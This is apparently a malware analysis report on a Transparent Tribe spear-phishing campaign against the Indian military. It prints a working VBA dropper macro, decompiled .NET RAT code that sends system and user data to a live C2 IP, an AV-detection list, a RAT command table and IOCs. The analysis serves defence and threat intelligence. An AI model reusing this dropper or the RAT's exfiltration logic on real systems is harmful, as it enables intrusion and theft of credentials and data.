13 KiB
13 KiB
Not as so transparent
Table of Contents
- Malware analysis
- Threat Intelligence
- Cyber kill chain
- Indicators Of Compromise (IOC)
- Yara Rules
- References MITRE ATT&CK Matrix
- Links
Malware analysis
The initial vector is from a decoy document probably shared from a spear-phishing, this document have two links for download additionnal informations. The both maldoc , this use a macro for extract and execute the PE file depends on the version of the operating system.
Sub unMoferzip(Fname As Variant, FileNameFolder As Variant)
Dim FSO As Object
Dim oApp As Object
'Extract the files into the Destination folder
Set oApp = CreateObject("Shell.Application")
oApp.Namespace(FileNameFolder).CopyHere oApp.Namespace(Fname).items, &H4
End Sub
Sub MoferfileLdr()
Dim path_Mofer_file As String
Dim file_Mofer_name As String
Dim zip_Mofer_file As Variant
Dim fldr_Mofer_name As Variant
file_Mofer_name = "ulhtagnias"
fldr_Mofer_name = Environ$("ALLUSERSPROFILE") & "\DeIA-WIR\"
If Dir(fldr_Mofer_name, vbDirectory) = "" Then
MkDir (fldr_Mofer_name)
End If
zip_Mofer_file = fldr_Mofer_name & file_Mofer_name & ".zip"
path_Mofer_file = fldr_Mofer_name & file_Mofer_name & ".exe"
Dim ar1Mofer() As String
Dim btsMofer() As Byte
If InStr(Application.System.Version, "6.2") > 0 Or InStr(Application.System.Version, "6.3") > 0 Then
ar1Mofer = Split(UserForm1.TextBox2.Text, "'")
Else
ar1Mofer = Split(UserForm1.TextBox1.Text, "'")
End If
Dim linMofer As Double
linMofer = 0
For Each vl In ar1Mofer
ReDim Preserve btsMofer(linMofer)
btsMofer(linMofer) = CByte(vl)
linMofer = linMofer + 1
Next
Open zip_Mofer_file For Binary Access Write As #2
Put #2, , btsMofer
Close #2
If Len(Dir(path_Mofer_file)) = 0 Then
Call unMoferzip(zip_Mofer_file, fldr_Mofer_name)
End If
Shell path_Mofer_file, vbNormalNoFocus
End Sub
The .NET implant begin to load the recon actions, push a timer for sleep the process and try to join the C2.
public void ulhtagniasdo_start()
{
ulhtagniasCONF.ulhtagniasport = ulhtagniasCONF.ports[0];
this.ulhtagniasrunTime = DateTime.Now;
this.ulhtagniasUPC = new ulhtagniasMYINF();
this.ulhtagniasCMD = new ulhtagniasOCMD(this);
this.ulhtagniasHD.iserver = this;
this.ulhtagniasHD.ulhtagniasmainPath = ulhtagniasCONF.ulhtagniasget_mpath();
TimerCallback callback = new TimerCallback(this.ulhtagniaslookup_connect);
System.Threading.Timer ulhtagniastimer = new System.Threading.Timer(callback, this.ulhtagniasStateObj, 32110, 36110);
this.ulhtagniasStateObj.ulhtagniastimer = ulhtagniastimer;
}
Once the connexion is etablish with the C2, this send the informations of user, system, sensible AV (who detect it easily) and this repertory (here from a trace of the TCP stream of an Anyrun sandbox)
.....info=command.....ulhtagnias-info=user8....|USER-PC|admin||6>1|S.P.1.3|| ||C:\ProgramData\DeIA-WIR\.....clping=Ping.....clping=Ping
private void ulhtagniasuser_info()
{
string text = string.Concat(new string[]
{
this.ulhtagniasUPC.ulhtagniaslancard,"|",this.ulhtagniasUPC.ulhtagniascname,"|",
this.ulhtagniasUPC.ulhtagniasuname,"|",this.ulhtagniasUPC.ulhtagniasuip,"|",
ulhtagniasCONF.ulhtagniasOsname(),"|",this.ulhtagniasUPC.ulhtagniasapver,"|",
ulhtagniasCONF.ulhtagniasloadAV()
});
text += "| !ulhtagnias".Split(new char[]{'!'})[0];
text = text + "|" + this.ulhtagniasUPC.ulhtagniasclientNum;
text = text + "|" + ulhtagniasCONF.ulhtagniasget_mpath();
byte[] byteArray = ulhtagniasCONF.getByteArray(text);
this.ulhtagniaspush_data(byteArray, "ulhtagnias-info=user|ulhtagnias".Split(new char[]{'|'})[0], false);
}
public static string ulhtagniasOsname()
{
string result;
try
{
OperatingSystem osversion = Environment.OSVersion;
result = osversion.Version.Major.ToString() + ">" + osversion.Version.Minor.ToString();
}
catch {result = "6>1!ulhtagnias".Split(new char[]{'!'})[0];}
return result;
}
The name of PE file is used as identifier and the command by a couple {nameimplant-command}.This can perform the actions by the following commands :
| Command | Description |
|---|---|
| -procl | Get the list of process |
| -thumb | Get info of a picture |
| -clping | Check activity |
| -putsrt | Push the persistence in a Run key |
| -filsz | Get infos of a specific file |
| -rupth | Push the data received |
| -dowf | Save to a file the data pushed on the system |
| -endpo | Kill a process |
| -scrsz | Get the size of the screen |
| -cownar | Download and run a executable file |
| -cscreen | Get a screenshot |
| -dirs | List all the drives and directories |
| -stops | stop the mod for get periodical screenshot |
| -scren | start the mod for get periodical screenshot |
| -cnls | Allow index, send data and disable continue screenshot |
| -udlt | Download and execute an executable for remove an user ? |
| -delt | Delete a specific file |
| -listf | List files |
| -file | Get a specific file |
| -info | Get user and system infos, check if the AV is on blacklist |
| -runf | Execute a specific file |
| -dowr | Download a file on the system |
| -fldr | Get folders and go silent mod |
On the RAT, one of two byte array is used for triggered the detection of a sensible AV
public static byte[] encAvs = new byte[]{98,100,115,115,61,66,105,116,32,68,101,102,101,110,100,101,114,44,111,110,108,105,110,101,110,116,61,81,46,72,101,97,108,44,98,100,97,103,101,110,116,61,66,105,116,32,68,101,102,101,110,100,101,114,32,65,103,101,110,116,44,109,115,115,101,99,101,115,61,77,83,32,69,115,115,101,110,116,105,97,108,115,44,102,115,115,109,51,50,61,70,83,101,99,117,114,101,44,97,118,112,61,75,97,115,112,101,114,115,107,121,44,97,118,103,110,116,61,65,118,105,114,97,44,115,112,98,98,99,115,118,99,61,83,121,109,97,110,116,101,99,44,117,112,100,97,116,101,114,117,105,61,77,99,65,102,101,101,44,97,118,103,117,105,61,65,86,71,44,97,118,103,99,99,61,65,86,71,44,109,98,97,109,61,65,110,116,32,77,97,108,119,97,114,101,44,97,118,97,115,116,117,105,61,65,118,97,115,116,44,97,118,97,115,116,61,65,118,97,115,116};
This can easily viewable in oneliner (UTF8 + Getstring) and show the list of sensible AV to detect
PS> ([System.Text.Encoding]::UTF8.GetString($encAvs)).split(",")
bdss=Bit Defender
onlinent=Q.Heal
bdagent=Bit Defender Agent
msseces=MS Essentials
fssm32=FSecure
avp=Kaspersky
avgnt=Avira
spbbcsvc=Symantec
updaterui=McAfee
avgui=AVG
avgcc=AVG
mbam=Ant Malware
avastui=Avast
avast=Avast
With the same logic, we can get the content of the second array which get the IP of the C2 to contact
PS> ([System.Text.Encoding]::UTF8.GetString($tab)).split(",")
198.46.177.73
Some identifiers like name of user, defaultIP and logname can be found
public static string ulhtagniasmainApp = "ulhtagnias|ulhtagnias".Split(new char[]{'|'})[0];
public static string ulhtagniaspc_id = "vhldsp|ulhtagnias".Split(new char[]{'|'})[0];
public static string ulhtagniasremvUser = "drlarmn|ulhtagnias".Split(new char[]{'|'})[0];
public static string ulhtagniasfilesLogs = "rndlbes".Split(new char[]{'|'})[0];}
public static string ulhtagniasdefaultP = "122.200.110.101|ulhtagnias".Split(new char[]{'|'})[0];
This connect on the default port (6421) and can switch depending on the needs of the operations
public static int[] ports = new int[]{6421,4920,10422,14823,16824};
public void ulhtagniasports_switch()
{
try
{
this.port_sn++;
ulhtagniasCONF.ulhtagniasport = ulhtagniasCONF.ports[this.port_sn];
if (this.port_sn >= ulhtagniasCONF.ports.Length - 1){this.port_sn = 0;}
}
catch{this.port_sn = 0;}
}
Addionnal informations :
- ulhtagnias.exe
- Special Benefits.docx
- Criteria of Army Officers.doc
- 7All Selected list.xls
| pdb path | g:\ulhtagnias\ulhtagnias\obj\Debug\ulhtagnias.pdb |
| Compilation time | 09/01/2020 21:21:34 |
| Creator | Dell-R |
| Last Modified By | Bipin |
| Creation date | 2020-01-15 10:02:00 |
| Last Modified Date | 2020-01-17 04:41:00 |
| Software used | Microsoft Office Word 12.0 (2007) |
| Creator | Bipin |
| Last Modified By | Bipin |
| Creation date | 2020-01-12 07:14:43/td> |
| Last Modified Date | 2020-01-12 07:14:43 |
| Software used | Microsoft Office Word 12.0 (2007) |
| Creator | |
| Last Modified By | |
| Creation date | 2020-01-12 07:04:53/td> |
| Last Modified Date | 2020-01-12 07:08:59 |
| Software used | Microsoft Office Word 12.0 (2007) |
Threat Intelligence
This operation uses the recent event of the 72nd year of the independence of the Indian armed forces. The Transparant Tribe group specializes in its field of attack in the Indian armed forces.
The main purpose of this operation is not to obtain more information from arms tests since the lasts month by the various Indian armed groups but, first of all, to collect identities and credentials to conduct more extensive operations. come.
Cyber kill chain
This process graph represent the cyber kill chain of the maldoc vector.
Indicators Of Compromise (IOC)
List of all the Indicators Of Compromise (IOC)
| Indicator | Description |
|---|---|
| Criteria of Army Officers.doc | 1cb726eab6f36af73e6b0ed97223d8f063f8209d2c25bed39f010b4043b2b8a1 |
| ulhtagnias.exe | d2c46e066ff7802cecfcb7cf3bab16e63827c326b051dc61452b896a673a6e67 |
| 198.46.177.73 | IP C2 |
The IOC can be exported in JSON
References MITRE ATT&CK Matrix
| Enterprise tactics | Technics used | Ref URL |
|---|---|---|
| Discovery | Query Registry | https://attack.mitre.org/techniques/T1012/ |
| C&C | Uncommonly Used Port | https://attack.mitre.org/techniques/T1065/ |
| Defense Evasion | Scripting | https://attack.mitre.org/techniques/T1064/ |
| Execution | Scripting | https://attack.mitre.org/techniques/T1064/ |